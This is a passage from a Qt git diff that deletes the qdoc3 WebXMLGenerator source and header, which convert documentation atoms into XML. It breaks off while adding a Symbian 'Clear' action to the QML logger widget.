-	    generateInnerNode( (const InnerNode *) *c, marker );
-	++c;
-    }
-}
-
-const Atom *WebXMLGenerator::addAtomElements(QXmlStreamWriter &writer,
-     const Atom *atom, const Node *relative, CodeMarker *marker)
-{
-    switch (atom->type()) {
-    case Atom::AbstractLeft:
-    case Atom::AbstractRight:
-        break;
-    case Atom::AutoLink:
-        if (!inLink && !inSectionHeading) {
-            const Node *node = findNode(atom, relative, marker);
-            if (node) {
-                startLink(writer, atom, node, relative);
-                if (inLink) {
-                    writer.writeCharacters(atom->string());
-                    writer.writeEndElement(); // link
-                    inLink = false;
-                }
-            } else
-                writer.writeCharacters(atom->string());
-        } else
-            writer.writeCharacters(atom->string());
-        break;
-    case Atom::BaseName:
-        break;
-    case Atom::BriefLeft:
-
-        writer.writeStartElement("brief");
-        switch (relative->type()) {
-        case Node::Property:
-            writer.writeCharacters("This property");
-            break;
-        case Node::Variable:
-            writer.writeCharacters("This variable");
-            break;
-        default:
-            break;
-        }
-        if (relative->type() == Node::Property || relative->type() == Node::Variable) {
-            QString str;
-            const Atom *a = atom->next();
-            while (a != 0 && a->type() != Atom::BriefRight) {
-                if (a->type() == Atom::String || a->type() == Atom::AutoLink)
-                    str += a->string();
-                a = a->next();
-            }
-            str[0] = str[0].toLower();
-            if (str.right(1) == ".")
-                str.chop(1);
-
-            QStringList words = str.split(" ");
-            if (!(words.first() == "contains" || words.first() == "specifies"
-                || words.first() == "describes" || words.first() == "defines"
-                || words.first() == "holds" || words.first() == "determines"))
-                writer.writeCharacters(" holds ");
-            else
-                writer.writeCharacters(" ");
-        }
-        break;
-
-    case Atom::BriefRight:
-        if (relative->type() == Node::Property || relative->type() == Node::Variable)
-            writer.writeCharacters(".");
-
-        writer.writeEndElement(); // brief
-        break;
-
-    case Atom::C:
-        writer.writeStartElement("teletype");
-        if (inLink)
-            writer.writeAttribute("type", "normal");
-        else
-            writer.writeAttribute("type", "highlighted");
-
-        writer.writeCharacters(plainCode(atom->string()));
-        writer.writeEndElement(); // teletype
-        break;
-
-    case Atom::Code:
-        writer.writeTextElement("code", trimmedTrailing(plainCode(atom->string())));
-        break;
-
-#ifdef QDOC_QML        
-    case Atom::Qml:
-        writer.writeTextElement("qml", trimmedTrailing(plainCode(atom->string())));
-#endif
-        
-    case Atom::CodeBad:
-        writer.writeTextElement("badcode", trimmedTrailing(plainCode(atom->string())));
-        break;
-
-    case Atom::CodeNew:
-        writer.writeTextElement("para", "you can rewrite it as");
-        writer.writeTextElement("newcode", trimmedTrailing(plainCode(atom->string())));
-        break;
-
-    case Atom::CodeOld:
-        writer.writeTextElement("para", "For example, if you have code like");
-        writer.writeTextElement("oldcode", trimmedTrailing(plainCode(atom->string())));
-        break;
-
-    case Atom::CodeQuoteArgument:
-        if (quoteCommand == "dots") {
-            writer.writeAttribute("indent", atom->string());
-            writer.writeCharacters("...");
-        } else
-            writer.writeCharacters(atom->string());
-        writer.writeEndElement(); // code
-        break;
-
-    case Atom::CodeQuoteCommand:
-        quoteCommand = atom->string();
-        writer.writeStartElement(quoteCommand);
-        break;
-
-    case Atom::FootnoteLeft:
-        writer.writeStartElement("footnote");
-        break;
-
-    case Atom::FootnoteRight:
-        writer.writeEndElement(); // footnote
-        break;
-/*
-    case Atom::FormatElse:
-        writer.writeStartElement("else");
-        writer.writeEndElement(); // else
-        break;
-*/
-    case Atom::FormatEndif:
-        writer.writeEndElement(); // raw
-        break;
-    case Atom::FormatIf:
-        writer.writeStartElement("raw");
-        writer.writeAttribute("format", atom->string());
-        break;
-    case Atom::FormattingLeft:
-	{
-            if (atom->string() == ATOM_FORMATTING_BOLD)
-                writer.writeStartElement("bold");
-	    else if (atom->string() == ATOM_FORMATTING_ITALIC)
-                writer.writeStartElement("italic");
-	    else if (atom->string() == ATOM_FORMATTING_UNDERLINE)
-                writer.writeStartElement("underline");
-	    else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT)
-                writer.writeStartElement("subscript");
-	    else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT)
-                writer.writeStartElement("superscript");
-	    else if (atom->string() == ATOM_FORMATTING_TELETYPE)
-                writer.writeStartElement("teletype");
-	    else if (atom->string() == ATOM_FORMATTING_PARAMETER)
-                writer.writeStartElement("argument");
-	    else if (atom->string() == ATOM_FORMATTING_INDEX)
-                writer.writeStartElement("index");
-        }
-        break;
-/*        out() << formattingLeftMap()[atom->string()];
-        if ( atom->string() == ATOM_FORMATTING_PARAMETER ) {
-            if ( atom->next() != 0 && atom->next()->type() == Atom::String ) {
-                QRegExp subscriptRegExp( "([a-z]+)_([0-9n])" );
-                if ( subscriptRegExp.exactMatch(atom->next()->string()) ) {
-                    out() << subscriptRegExp.cap( 1 ) << "<sub>"
-                          << subscriptRegExp.cap( 2 ) << "</sub>";
-                    skipAhead = 1;
-                }
-            }
-        }*/
-    case Atom::FormattingRight:
-	{
-            if (atom->string() == ATOM_FORMATTING_BOLD)
-                writer.writeEndElement();
-	    else if (atom->string() == ATOM_FORMATTING_ITALIC)
-                writer.writeEndElement();
-	    else if (atom->string() == ATOM_FORMATTING_UNDERLINE)
-                writer.writeEndElement();
-	    else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT)
-                writer.writeEndElement();
-	    else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT)
-                writer.writeEndElement();
-	    else if (atom->string() == ATOM_FORMATTING_TELETYPE)
-                writer.writeEndElement();
-	    else if (atom->string() == ATOM_FORMATTING_PARAMETER)
-                writer.writeEndElement();
-	    else if (atom->string() == ATOM_FORMATTING_INDEX)
-                writer.writeEndElement();
-        }
-        if (inLink) {
-            writer.writeEndElement(); // link
-            inLink = false;
-        }
-	break;
-/*        if ( atom->string() == ATOM_FORMATTING_LINK ) {
-            if (inLink) {
-                if ( link.isEmpty() ) {
-                    if (showBrokenLinks)
-                        out() << "</i>";
-                } else {
-                    out() << "</a>";
-                }
-            }
-            inLink = false;
-        } else {
-            out() << formattingRightMap()[atom->string()];
-        }*/
-    case Atom::GeneratedList:
-        writer.writeStartElement("generatedlist");
-        writer.writeAttribute("contents", atom->string());
-        writer.writeEndElement(); // generatedlist
-/*
-        if (atom->string() == "annotatedclasses") {
-            generateAnnotatedList(relative, marker, nonCompatClasses);
-        } else if (atom->string() == "classes") {
-            generateCompactList(relative, marker, nonCompatClasses);
-        } else if (atom->string().contains("classesbymodule")) {
-            QString arg = atom->string().trimmed();
-            QString moduleName = atom->string().mid(atom->string().indexOf(
-                "classesbymodule") + 15).trimmed();
-            if (moduleClassMap.contains(moduleName))
-                generateAnnotatedList(relative, marker, moduleClassMap[moduleName]);
-        } else if (atom->string().contains("classesbyedition")) {
-            QString arg = atom->string().trimmed();
-            QString editionName = atom->string().mid(atom->string().indexOf(
-                "classesbyedition") + 16).trimmed();
-            if (editionModuleMap.contains(editionName)) {
-                QMap<QString, const Node *> editionClasses;
-                foreach (const QString &moduleName, editionModuleMap[editionName]) {
-                    if (moduleClassMap.contains(moduleName))
-                        editionClasses.unite(moduleClassMap[moduleName]);
-                }
-                generateAnnotatedList(relative, marker, editionClasses);
-            }
-        } else if (atom->string() == "classhierarchy") {
-            generateClassHierarchy(relative, marker, nonCompatClasses);
-        } else if (atom->string() == "compatclasses") {
-            generateCompactList(relative, marker, compatClasses);
-        } else if (atom->string() == "functionindex") {
-            generateFunctionIndex(relative, marker);
-        } else if (atom->string() == "legalese") {
-            generateLegaleseList(relative, marker);
-        } else if (atom->string() == "mainclasses") {
-            generateCompactList(relative, marker, mainClasses);
-        } else if (atom->string() == "services") {
-            generateCompactList(relative, marker, serviceClasses);
-        } else if (atom->string() == "overviews") {
-            generateOverviewList(relative, marker);
-        } else if (atom->string() == "namespaces") {
-            generateAnnotatedList(relative, marker, namespaceIndex);
-        } else if (atom->string() == "related") {
-            const FakeNode *fake = static_cast<const FakeNode *>(relative);
-            if (fake && !fake->groupMembers().isEmpty()) {
-                QMap<QString, const Node *> groupMembersMap;
-                foreach (Node *node, fake->groupMembers()) {
-                    if (node->type() == Node::Fake)
-                        groupMembersMap[fullName(node, relative, marker)] = node;
-                }
-                generateAnnotatedList(fake, marker, groupMembersMap);
-            }
-        } else if (atom->string() == "relatedinline") {
-            const FakeNode *fake = static_cast<const FakeNode *>(relative);
-            if (fake && !fake->groupMembers().isEmpty()) {
-                // Reverse the list into the original scan order.
-                // Should be sorted.  But on what?  It may not be a
-                // regular class or page definition.
-                QList<const Node *> list;
-                foreach (const Node *node, fake->groupMembers())
-                    list.prepend(node);
-                foreach (const Node *node, list)
-                    generateBody(node, marker );
-            }
-        }
-        break;
-*/
-        break;
-    case Atom::Image:
-        writer.writeStartElement("image");
-        writer.writeAttribute("href", imageFileName(relative, atom->string()));
-        writer.writeEndElement(); // image
-        break;
-
-    case Atom::InlineImage:
-        writer.writeStartElement("inlineimage");
-        writer.writeAttribute("href", imageFileName(relative, atom->string()));
-        writer.writeEndElement(); // inlineimage
-        break;
-
-    case Atom::ImageText:
-        break;
-
-    case Atom::LegaleseLeft:
-        writer.writeStartElement("legalese");
-        break;
-
-    case Atom::LegaleseRight:
-        writer.writeEndElement(); // legalese
-        break;
-
-    case Atom::Link:
-    case Atom::LinkNode:
-        if (!inLink) {
-            const Node *node = findNode(atom, relative, marker);
-            if (node)
-                startLink(writer, atom, node, relative);
-        }
-        break;
-
-    case Atom::ListLeft:
-        writer.writeStartElement("list");
-
-        if (atom->string() == ATOM_LIST_BULLET)
-            writer.writeAttribute("type", "bullet");
-        else if (atom->string() == ATOM_LIST_TAG)
-            writer.writeAttribute("type", "definition");
-        else if (atom->string() == ATOM_LIST_VALUE)
-            writer.writeAttribute("type", "enum");
-        else {
-            writer.writeAttribute("type", "ordered");
-            if (atom->string() == ATOM_LIST_UPPERALPHA)
-                writer.writeAttribute("start", "A");
-            else if (atom->string() == ATOM_LIST_LOWERALPHA)
-                writer.writeAttribute("start", "a");
-            else if (atom->string() == ATOM_LIST_UPPERROMAN)
-                writer.writeAttribute("start", "I");
-            else if (atom->string() == ATOM_LIST_LOWERROMAN)
-                writer.writeAttribute("start", "i");
-            else // (atom->string() == ATOM_LIST_NUMERIC)
-                writer.writeAttribute("start", "1");
-        }
-        break;
-
-    case Atom::ListItemNumber:
-        break;
-
-    case Atom::ListTagLeft:
-        {
-            writer.writeStartElement("definition");
-
-            writer.writeTextElement("term", plainCode(
-                marker->markedUpEnumValue(atom->next()->string(), relative)));
-        }
-        break;
-
-    case Atom::ListTagRight:
-        writer.writeEndElement(); // definition
-        break;
-
-    case Atom::ListItemLeft:
-        writer.writeStartElement("item");
-        break;
-
-    case Atom::ListItemRight:
-        writer.writeEndElement(); // item
-        break;
-
-    case Atom::ListRight:
-        writer.writeEndElement(); // list
-        break;
-
-    case Atom::Nop:
-        break;
-
-    case Atom::ParaLeft:
-        writer.writeStartElement("para");
-        break;
-
-    case Atom::ParaRight:
-        writer.writeEndElement(); // para
-        break;
-
-    case Atom::QuotationLeft:
-        writer.writeStartElement("quote");
-        break;
-
-    case Atom::QuotationRight:
-        writer.writeEndElement(); // quote
-        break;
-
-    case Atom::RawString:
-        writer.writeCharacters(atom->string());
-        break;
-
-    case Atom::SectionLeft:
-        writer.writeStartElement("section");
-        writer.writeAttribute("id", Doc::canonicalTitle(Text::sectionHeading(atom).toString()));
-        break;
-
-    case Atom::SectionRight:
-        writer.writeEndElement(); // section
-        break;
-
-    case Atom::SectionHeadingLeft:
-        writer.writeStartElement("heading");
-        writer.writeAttribute("level", atom->string()); // + hOffset(relative)
-        inSectionHeading = true;
-        break;
-
-    case Atom::SectionHeadingRight:
-        writer.writeEndElement(); // heading
-        inSectionHeading = false;
-        break;
-
-    case Atom::SidebarLeft:
-    case Atom::SidebarRight:
-        break;
-
-    case Atom::SnippetCommand:
-        writer.writeStartElement(atom->string());
-        break;
-
-    case Atom::SnippetIdentifier:
-        writer.writeAttribute("identifier", atom->string());
-        writer.writeEndElement(); // snippet
-        break;
-
-    case Atom::SnippetLocation:
-        writer.writeAttribute("location", atom->string());
-        break;
-
-    case Atom::String:
-        writer.writeCharacters(atom->string());
-        break;
-
-    case Atom::TableLeft:
-        writer.writeStartElement("table");
-        if (atom->string().contains("%"))
-            writer.writeAttribute("width", atom->string());
-        break;
-
-    case Atom::TableRight:
-        writer.writeEndElement(); // table
-        break;
-
-    case Atom::TableHeaderLeft:
-        writer.writeStartElement("header");
-        break;
-
-    case Atom::TableHeaderRight:
-        writer.writeEndElement(); // header
-        break;
-
-    case Atom::TableRowLeft:
-        writer.writeStartElement("row");
-        break;
-
-    case Atom::TableRowRight:
-        writer.writeEndElement(); // row
-        break;
-
-    case Atom::TableItemLeft:
-        {
-            writer.writeStartElement("item");
-            QStringList spans = atom->string().split(",");
-            if (spans.size() == 2) {
-                if (spans.at(0) != "1")
-                    writer.writeAttribute("colspan", spans.at(0).trimmed());
-                if (spans.at(1) != "1")
-                    writer.writeAttribute("rowspan", spans.at(1).trimmed());
-            }
-        }
-        break;
-
-    case Atom::TableItemRight:
-        writer.writeEndElement(); // item
-        break;
-
-    case Atom::TableOfContents:
-        writer.writeStartElement("tableofcontents");
-        writer.writeAttribute("details", atom->string());
-        {
-            int numColumns = 1;
-            const Node *node = relative;
-
-            Doc::SectioningUnit sectioningUnit = Doc::Section4;
-            QStringList params = atom->string().split(",");
-            QString columnText = params.at(0);
-            QStringList pieces = columnText.split(" ", QString::SkipEmptyParts);
-            if (pieces.size() >= 2) {
-                columnText = pieces.at(0);
-                pieces.pop_front();
-                QString path = pieces.join(" ").trimmed();
-                node = findNode(path, relative, marker);
-                if (node)
-                    writer.writeAttribute("href", fileName(node));
-            }
-
-            if (params.size() == 2) {
-                numColumns = qMax(columnText.toInt(), numColumns);
-                sectioningUnit = (Doc::SectioningUnit)params.at(1).toInt();
-                writer.writeAttribute("columns", QString::number(numColumns));
-                writer.writeAttribute("unit", QString::number(sectioningUnit));
-            }
-
-            if (node)
-                generateTableOfContents(writer, node, sectioningUnit, numColumns,
-                                        relative);
-        }
-        writer.writeEndElement(); // tableofcontents
-        break;
-
-    case Atom::Target:
-        writer.writeStartElement("target");
-        writer.writeAttribute("name", Doc::canonicalTitle(atom->string()));
-        writer.writeEndElement(); // target
-        break;
-
-    case Atom::UnhandledFormat:
-    case Atom::UnknownCommand:
-        writer.writeCharacters(atom->typeString());
-        break;
-    default:
-        break;
-    }
-
-    if (atom)
-        return atom->next();
-
-    return 0;
-}
-/*
-        QDomElement atomElement = document.createElement(atom->typeString().toLower());
-        QDomText atomValue = document.createTextNode(atom->string());
-        atomElement.appendChild(atomValue);
-        descriptionElement.appendChild(atomElement);
-*/
-
-/*
-    ### Warning: findNode() is a modified version of HtmlGenerator::getLink().
-*/
-const Node *WebXMLGenerator::findNode(const Atom *atom, const Node *relative, CodeMarker *marker)
-{
-    return findNode(atom->string(), relative, marker);
-}
-
-const Node *WebXMLGenerator::findNode(const QString &title, const Node *relative, CodeMarker *marker)
-{
-    QString link;
-    if (title.contains(":") &&
-            (title.startsWith("file:")
-             || title.startsWith("http:")
-             || title.startsWith("https:")
-             || title.startsWith("ftp:")
-             || title.startsWith("mailto:"))) {
-
-        return 0;
-    } else if (title.count('@') == 1) {
-        return 0;
-    } else {
-        QStringList path;
-        if (title.contains('#')) {
-            path = title.split('#');
-        } else {
-            path.append(title);
-        }
-
-        const Node *node = 0;
-        Atom *targetAtom = 0;
-
-        QString first = path.first().trimmed();
-        if (first.isEmpty()) {
-            node = relative;
-        } else if (first.endsWith(".html")) {
-            node = tre->root()->findNode(first, Node::Fake);
-        } else {
-            node = marker->resolveTarget(first, tre, relative);
-            if (!node)
-                node = tre->findFakeNodeByTitle(first);
-            if (!node)
-                node = tre->findUnambiguousTarget(first, targetAtom);
-        }
-
-        if (node) {
-            if (!node->url().isEmpty())
-                return node;
-            else
-                path.removeFirst();
-        } else {
-            return 0;
-        }
-
-        while (!path.isEmpty()) {
-            targetAtom = tre->findTarget(path.first(), node);
-            if (targetAtom == 0)
-                break;
-            path.removeFirst();
-        }
-/* We would ideally treat targets as nodes to be consistent.
-        if (targetAtom && node && node->isInnerNode()) {
-            Node *parentNode = const_cast<Node *>(node);
-            node = new TargetNode(static_cast<InnerNode*>(parentNode), first);
-        }
-*/
-        return node;
-    }
-    return 0;
-}
-
-void WebXMLGenerator::startLink(QXmlStreamWriter &writer, const Atom *atom,
-                                const Node *node, const Node *relative)
-{
-    QString location = tre->fullDocumentLocation(node);
-    if (!location.isEmpty()) {
-        writer.writeStartElement("link");
-        writer.writeAttribute("raw", atom->string());
-        if (atom->string().contains("#") || node == relative) {
-            QString target = atom->string().split("#").last();
-            Atom *targetAtom = tre->findTarget(target, node);
-            if (targetAtom)
-                location += "#" + Doc::canonicalTitle(target);
-        }
-        writer.writeAttribute("href", location);
-        QString type = targetType(node);
-        writer.writeAttribute("type", type);
-        switch (node->type()) {
-        case Node::Enum:
-            writer.writeAttribute("enum", tre->fullDocumentName(node));
-            break;
-        case Node::Fake:
-            writer.writeAttribute("page", tre->fullDocumentName(node));
-            break;
-        case Node::Property:
-        {
-            const PropertyNode *propertyNode = static_cast<const PropertyNode *>(node);
-            if (propertyNode->getters().size() > 0)
-                writer.writeAttribute("getter", tre->fullDocumentName(propertyNode->getters()[0]));
-        }
-        default:
-            ;
-        }
-        inLink = true;
-    }
-}
-
-QString WebXMLGenerator::targetType(const Node *node)
-{
-    switch (node->type()) {
-        case Node::Namespace:
-            return "namespace";
-            break;
-        case Node::Class:
-            return "class";
-            break;
-        case Node::Fake:
-            return "page";
-            break;
-        case Node::Enum:
-            return "enum";
-            break;
-        case Node::Typedef:
-            return "typedef";
-            break;
-        case Node::Property:
-            return "property";
-            break;
-        case Node::Function:
-            return "function";
-            break;
-        case Node::Variable:
-            return "variable";
-            break;
-        case Node::Target:
-            return "target";
-            break;
-        default:
-            return "";
-    }
-    return "";
-}
-
-void WebXMLGenerator::generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker)
-{
-    if (node && !node->links().empty()) {
-        QPair<QString,QString> linkPair;
-        QPair<QString,QString> anchorPair;
-        const Node *linkNode;
-
-        foreach (Node::LinkType relation, node->links().keys()) {
-
-            linkPair = node->links()[relation];
-            linkNode = findNode(linkPair.first, node, marker);
-            
-            if (!linkNode)
-                linkNode = node;
-
-            if (linkNode == node)
-                anchorPair = linkPair;
-            else
-                anchorPair = anchorForNode(linkNode);
-
-            writer.writeStartElement("relation");
-            writer.writeAttribute("href", anchorPair.first);
-            writer.writeAttribute("type", targetType(linkNode));
-            
-            switch (relation) {
-            case Node::StartLink:
-                writer.writeAttribute("meta", "start");
-                break;
-            case Node::NextLink:
-                writer.writeAttribute("meta", "next");
-                break;
-            case Node::PreviousLink:
-                writer.writeAttribute("meta", "previous");
-                break;
-            case Node::ContentsLink: 
-                writer.writeAttribute("meta", "contents");
-                break;
-            case Node::IndexLink:
-                writer.writeAttribute("meta", "index");
-                break;
-            default:
-                writer.writeAttribute("meta", "");
-            }
-            writer.writeAttribute("description", anchorPair.second);
-            writer.writeEndElement(); // link
-        }
-    }
-}
-
-// Classes adapted from HtmlGenerator.
-
-void WebXMLGenerator::generateTableOfContents(QXmlStreamWriter &writer, const Node *node,
-                                              Doc::SectioningUnit sectioningUnit,
-                                              int numColumns, const Node *relative)
-
-{
-    if (!node->doc().hasTableOfContents())
-        return;
-    QList<Atom *> toc = node->doc().tableOfContents();
-    if (toc.isEmpty())
-        return;
-
-    QString nodeName = "";
-    if (node != relative)
-        nodeName = node->name();
-
-    QStringList sectionNumber;
-    int columnSize = 0;
-
-    if (numColumns > 1) {
-        writer.writeStartElement("table");
-        writer.writeAttribute("width", "100%");
-        writer.writeStartElement("row");
-        writer.writeStartElement("item");
-        writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%");
-    }
-
-    // disable nested links in table of contents
-    inContents = true;
-    inLink = true;
-
-    for (int i = 0; i < toc.size(); ++i) {
-        Atom *atom = toc.at(i);
-
-        int nextLevel = atom->string().toInt();
-        if (nextLevel > (int)sectioningUnit)
-            continue;
-
-        if (sectionNumber.size() < nextLevel) {
-            do {
-                writer.writeStartElement("list");
-                sectionNumber.append("1");
-            } while (sectionNumber.size() < nextLevel);
-        } else {
-            while (sectionNumber.size() > nextLevel) {
-                writer.writeEndElement();
-                sectionNumber.removeLast();
-            }
-            sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1);
-        }
-        Text headingText = Text::sectionHeading(atom);
-
-        if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) {
-            writer.writeEndElement(); // list
-            writer.writeEndElement(); // item
-            writer.writeStartElement("item");
-            writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%");
-            writer.writeStartElement("list");
-            columnSize = 0;
-        }
-
-        writer.writeStartElement("item");
-        writer.writeStartElement("para");
-        writer.writeStartElement("link");
-        writer.writeAttribute("href", nodeName + "#" + Doc::canonicalTitle(headingText.toString()));
-        writer.writeAttribute("type", "page");
-        writer.writeCharacters(headingText.toString());
-        writer.writeEndElement(); // link
-        writer.writeEndElement(); // para
-        writer.writeEndElement(); // item
-
-        ++columnSize;
-    }
-    while (!sectionNumber.isEmpty()) {
-        writer.writeEndElement(); // list
-        sectionNumber.removeLast();
-    }
-
-    if (numColumns > 1) {
-        writer.writeEndElement(); // item
-        writer.writeEndElement(); // row
-        writer.writeEndElement(); // table
-    }
-
-    inContents = false;
-    inLink = false;
-}
-
-void WebXMLGenerator::generateAnnotatedList(QXmlStreamWriter &writer,
-    const Node *relative, CodeMarker *marker, const QMap<QString, const Node *> &nodeMap)
-{
-    writer.writeStartElement("table");
-    writer.writeAttribute("width", "100%");
-
-    foreach (QString name, nodeMap.keys()) {
-        const Node *node = nodeMap[name];
-
-        writer.writeStartElement("row");
-        writer.writeStartElement("heading");
-        generateFullName(writer, node, relative, marker);
-        writer.writeEndElement(); // heading
-
-        writer.writeStartElement("item");
-        writer.writeCharacters(node->doc().briefText().toString());
-        writer.writeEndElement(); // item
-        writer.writeEndElement(); // row
-    }
-    writer.writeEndElement(); // table
-}
-
-void WebXMLGenerator::generateFullName(QXmlStreamWriter &writer,
-    const Node *apparentNode, const Node *relative, CodeMarker *marker,
-    const Node *actualNode)
-{
-    if ( actualNode == 0 )
-        actualNode = apparentNode;
-    writer.writeStartElement("link");
-    writer.writeAttribute("href", tre->fullDocumentLocation(actualNode));
-    writer.writeAttribute("type", targetType(actualNode));
-    writer.writeCharacters(fullName(apparentNode, relative, marker));
-    writer.writeEndElement(); // link
-}
-
-// Classes copied (and slightly adapted) from the HtmlGenerator. These need
-// refactoring into a common ancestor class.
-
-void WebXMLGenerator::findAllClasses(const InnerNode *node)
-{
-    NodeList::const_iterator c = node->childNodes().constBegin();
-    while (c != node->childNodes().constEnd()) {
-        if ((*c)->access() != Node::Private && (*c)->url().isEmpty()) {
-            if ((*c)->type() == Node::Class && !(*c)->doc().isEmpty()) {
-                QString className = (*c)->name();
-                if ((*c)->parent() && (*c)->parent()->type() == Node::Namespace &&
-                    !(*c)->parent()->name().isEmpty())
-                    className = (*c)->parent()->name()+"::"+className;
-
-                QString moduleName = (*c)->moduleName();
-                if (!moduleName.isEmpty())
-                    moduleClassMap[moduleName].insert((*c)->name(), *c);
-
-                QString serviceName =
-                    (static_cast<const ClassNode *>(*c))->serviceName();
-                if (!serviceName.isEmpty())
-                    serviceClasses.insert(serviceName, *c);
-            } else if ((*c)->isInnerNode()) {
-                findAllClasses(static_cast<InnerNode *>(*c));
-            }
-        }
-        ++c;
-    }
-}
-
-void WebXMLGenerator::findAllNamespaces(const InnerNode *node)
-{
-    NodeList::ConstIterator c = node->childNodes().begin();
-    while (c != node->childNodes().end()) {
-        if ((*c)->access() != Node::Private) {
-            if ((*c)->isInnerNode() && (*c)->url().isEmpty()) {
-                findAllNamespaces(static_cast<const InnerNode *>(*c));
-                if ((*c)->type() == Node::Namespace) {
-                    const NamespaceNode *nspace = static_cast<const NamespaceNode *>(*c);
-                    // Ensure that the namespace's name is not empty (the root
-                    // namespace has no name).
-                    if (!nspace->name().isEmpty()) {
-                        namespaceIndex.insert(nspace->name(), *c);
-                        QString moduleName = (*c)->moduleName();
-                        if (!moduleName.isEmpty())
-                            moduleNamespaceMap[moduleName].insert((*c)->name(), *c);
-                    }
-                }
-            }
-        }
-        ++c;
-    }
-}
-
-const QPair<QString,QString> WebXMLGenerator::anchorForNode(const Node *node)
-{
-    QPair<QString,QString> anchorPair;
-
-    anchorPair.first = PageGenerator::fileName(node);
-    if (node->type() == Node::Fake) {
-        const FakeNode *fakeNode = static_cast<const FakeNode*>(node);
-        anchorPair.second = fakeNode->title();
-    }
-
-    return anchorPair;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/webxmlgenerator.h b/tools/qdoc3/webxmlgenerator.h
deleted file mode 100644
index 3241bc7..0000000
--- a/tools/qdoc3/webxmlgenerator.h
+++ /dev/null
@@ -1,127 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  WebXMLGenerator.h
-*/
-
-#ifndef WEBXMLGENERATOR_H
-#define WEBXMLGENERATOR_H
-
-#include <QtCore/qxmlstream.h>
-
-#include "codemarker.h"
-#include "config.h"
-#include "pagegenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-class QXmlStreamReader;
-class QXmlStreamWriter;
-
-class WebXMLGenerator : public PageGenerator
-{
-public:
-    WebXMLGenerator();
-    ~WebXMLGenerator();
-
-    virtual void initializeGenerator(const Config &config);
-    virtual void terminateGenerator();
-    virtual QString format();
-    virtual void generateTree(const Tree *tree, CodeMarker *marker);
-
-protected:
-    virtual void startText( const Node *relative, CodeMarker *marker );
-    virtual int generateAtom(QXmlStreamWriter &writer, const Atom *atom,
-                             const Node *relative, CodeMarker *marker );
-    virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker);
-    virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker);
-    virtual QString fileExtension(const Node *node) const;
-
-    virtual const Atom *addAtomElements(QXmlStreamWriter &writer, const Atom *atom,
-                                 const Node *relative, CodeMarker *marker);
-    virtual void generateIndexSections(QXmlStreamWriter &writer, const Node *node,
-                                       CodeMarker *marker);
-    virtual void generateInnerNode( const InnerNode *node, CodeMarker *marker );
-
-private:
-    const QPair<QString,QString> anchorForNode(const Node *node);
-    void findAllClasses(const InnerNode *node);
-    void findAllNamespaces(const InnerNode *node);
-    const Node *findNode(const Atom *atom, const Node *relative, CodeMarker *marker);
-    const Node *findNode(const QString &title, const Node *relative, CodeMarker *marker);
-    void generateAnnotatedList(QXmlStreamWriter &writer, const Node *relative,
-                               CodeMarker *marker, const QMap<QString,
-                               const Node *> &nodeMap);
-    void generateFullName(QXmlStreamWriter &writer, const Node *apparentNode,
-                          const Node *relative, CodeMarker *marker,
-                          const Node *actualNode = 0);
-    void generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker);
-    void generateTableOfContents(QXmlStreamWriter &writer, const Node *node,
-                                 Doc::SectioningUnit sectioningUnit,
-                                 int numColumns, const Node *relative);
-    void startLink(QXmlStreamWriter &writer, const Atom *atom, const Node *node,
-                   const Node *relative);
-    QString targetType(const Node *node);
-
-    const Tree *tre;
-    bool generateIndex;
-    bool inLink;
-    bool inContents;
-    bool inSectionHeading;
-    bool inTableHeader;
-    int numTableRows;
-    bool threeColumnEnumValueTable;
-    QMap<QString, QMap<QString, const Node *> > moduleClassMap;
-    QMap<QString, QMap<QString, const Node *> > moduleNamespaceMap;
-    QMap<QString, const Node *> namespaceIndex;
-    QMap<QString, const Node *> serviceClasses;
-    QString link;
-    QString project;
-    QString projectDescription;
-    QString projectUrl;
-    QString quoteCommand;
-    QStringList sectionNumber;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp
index 4c21b34..3f2337a 100644
--- a/tools/qml/loggerwidget.cpp
+++ b/tools/qml/loggerwidget.cpp
@@ -45,6 +45,8 @@
 #include <QActionGroup>
 #include <QMenu>
 #include <QPlainTextEdit>
+#include <QLabel>
+#include <QVBoxLayout>
 #ifdef Q_WS_MAEMO_5
 #  include <QScrollArea>
 #  include <QVBoxLayout>
@@ -64,6 +66,19 @@ LoggerWidget::LoggerWidget(QWidget *parent) :
 
     m_plainTextEdit = new QPlainTextEdit();
 
+#if defined(Q_OS_SYMBIAN)
+    QAction* clearAction = new QAction(tr("Clear"), this);
+    clearAction->setSoftKeyRole(QAction::PositiveSoftKey);
+    connect(clearAction, SIGNAL(triggered()), m_plainTextEdit, SLOT(clear()));
